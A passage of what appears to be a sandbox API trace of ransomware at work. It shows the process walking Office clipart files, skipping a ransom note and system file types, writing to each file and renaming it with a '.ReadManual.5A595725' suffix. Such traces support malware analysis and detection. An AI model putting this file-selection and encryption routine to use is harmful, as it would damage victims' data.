lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14486) returned 1 [0260.629] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3896, lpName=0x0) returned 0x184 [0260.629] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.630] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.630] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.632] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.632] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3896) returned 0x2f0000 [0260.632] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.632] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38130076797) returned 1 [0260.632] CloseHandle (hObject=0x184) returned 1 [0260.632] SetSecurityInfo () returned 0x57 [0260.632] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.632] CloseHandle (hObject=0x194) returned 1 [0260.633] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1fa9b00, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fa9b00, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0260.633] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD19988_.WMF" | out: lpString1="BD19988_.WMF") returned="BD19988_.WMF" [0260.633] lstrcmpiW (lpString1="BD19988_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.633] StrStrIW (lpFirst="BD19988_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.633] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.633] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.633] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.633] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.633] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.633] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.633] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.633] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.633] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.633] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.633] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.633] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.633] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.633] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.633] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" [0260.633] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.ReadManual.5A595725" [0260.634] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.ReadManual.5A595725") returned 87 [0260.634] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38130233401) returned 1 [0260.634] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x20 [0260.634] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.634] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18304) returned 1 [0260.634] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4780, lpName=0x0) returned 0x184 [0260.634] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.635] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.635] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.636] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.637] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4780) returned 0x2f0000 [0260.637] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.637] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38130581375) returned 1 [0260.637] CloseHandle (hObject=0x184) returned 1 [0260.637] SetSecurityInfo () returned 0x57 [0260.637] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.637] CloseHandle (hObject=0x194) returned 1 [0260.638] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf688200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf688200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0260.638] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD20013_.WMF" | out: lpString1="BD20013_.WMF") returned="BD20013_.WMF" [0260.638] lstrcmpiW (lpString1="BD20013_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.638] StrStrIW (lpFirst="BD20013_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.638] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.638] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.638] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.638] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.638] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.638] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.638] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.638] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.638] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.638] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.638] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.638] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.638] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.638] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.638] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" [0260.638] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.ReadManual.5A595725" [0260.639] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.ReadManual.5A595725") returned 87 [0260.639] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38130733144) returned 1 [0260.639] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x20 [0260.639] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.639] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11058) returned 1 [0260.639] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b32, lpName=0x0) returned 0x184 [0260.639] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.640] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.641] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.642] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.642] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2b32) returned 0x2f0000 [0260.643] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.643] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38131141434) returned 1 [0260.643] CloseHandle (hObject=0x184) returned 1 [0260.643] SetSecurityInfo () returned 0x57 [0260.643] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.643] CloseHandle (hObject=0x194) returned 1 [0260.645] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b147c00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b147c00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0260.645] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00008_.WMF" | out: lpString1="BL00008_.WMF") returned="BL00008_.WMF" [0260.645] lstrcmpiW (lpString1="BL00008_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.645] StrStrIW (lpFirst="BL00008_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.645] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.646] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.646] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.646] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.646] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.646] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.646] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.646] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.646] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.646] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.646] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.646] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.646] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.646] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.646] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" [0260.646] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.ReadManual.5A595725" [0260.646] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF.ReadManual.5A595725") returned 87 [0260.646] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38131475406) returned 1 [0260.646] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x20 [0260.647] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.647] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12520) returned 1 [0260.647] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x30e8, lpName=0x0) returned 0x184 [0260.647] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.648] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.648] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.650] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.650] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x30e8) returned 0x2f0000 [0260.650] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.650] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38131890733) returned 1 [0260.650] CloseHandle (hObject=0x184) returned 1 [0260.650] SetSecurityInfo () returned 0x57 [0260.650] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.651] CloseHandle (hObject=0x194) returned 1 [0260.651] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x851e9b00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x851e9b00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00012_.WMF", cAlternateFileName="")) returned 1 [0260.651] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00012_.WMF" | out: lpString1="BL00012_.WMF") returned="BL00012_.WMF" [0260.651] lstrcmpiW (lpString1="BL00012_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.651] StrStrIW (lpFirst="BL00012_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.651] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.651] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.651] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.651] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.651] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.651] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.651] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.651] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.652] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.652] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.652] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.652] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.652] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.652] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.652] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" [0260.652] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.ReadManual.5A595725" [0260.652] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.ReadManual.5A595725") returned 87 [0260.652] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38132054844) returned 1 [0260.652] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x20 [0260.654] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.654] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9818) returned 1 [0260.654] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x265a, lpName=0x0) returned 0x184 [0260.654] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.654] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.654] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.656] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.656] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x265a) returned 0x2f0000 [0260.657] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.657] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38132547357) returned 1 [0260.657] CloseHandle (hObject=0x184) returned 1 [0260.657] SetSecurityInfo () returned 0x57 [0260.657] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.657] CloseHandle (hObject=0x194) returned 1 [0260.658] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1c98800, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1c98800, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0x1eb6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BL00045_.WMF", cAlternateFileName="")) returned 1 [0260.658] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BL00045_.WMF" | out: lpString1="BL00045_.WMF") returned="BL00045_.WMF" [0260.658] lstrcmpiW (lpString1="BL00045_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.658] StrStrIW (lpFirst="BL00045_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.658] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.658] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.658] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.658] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.658] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.658] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.658] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.658] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.658] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.658] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.658] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.658] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.658] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.658] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.658] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" [0260.658] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.ReadManual.5A595725" [0260.658] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.ReadManual.5A595725") returned 87 [0260.658] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38132692532) returned 1 [0260.658] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x20 [0260.658] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.659] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7862) returned 1 [0260.659] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1eb6, lpName=0x0) returned 0x184 [0260.659] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.659] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.659] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.661] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.661] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1eb6) returned 0x2f0000 [0260.661] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.661] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38133027492) returned 1 [0260.662] CloseHandle (hObject=0x184) returned 1 [0260.662] SetSecurityInfo () returned 0x57 [0260.662] LocalFree 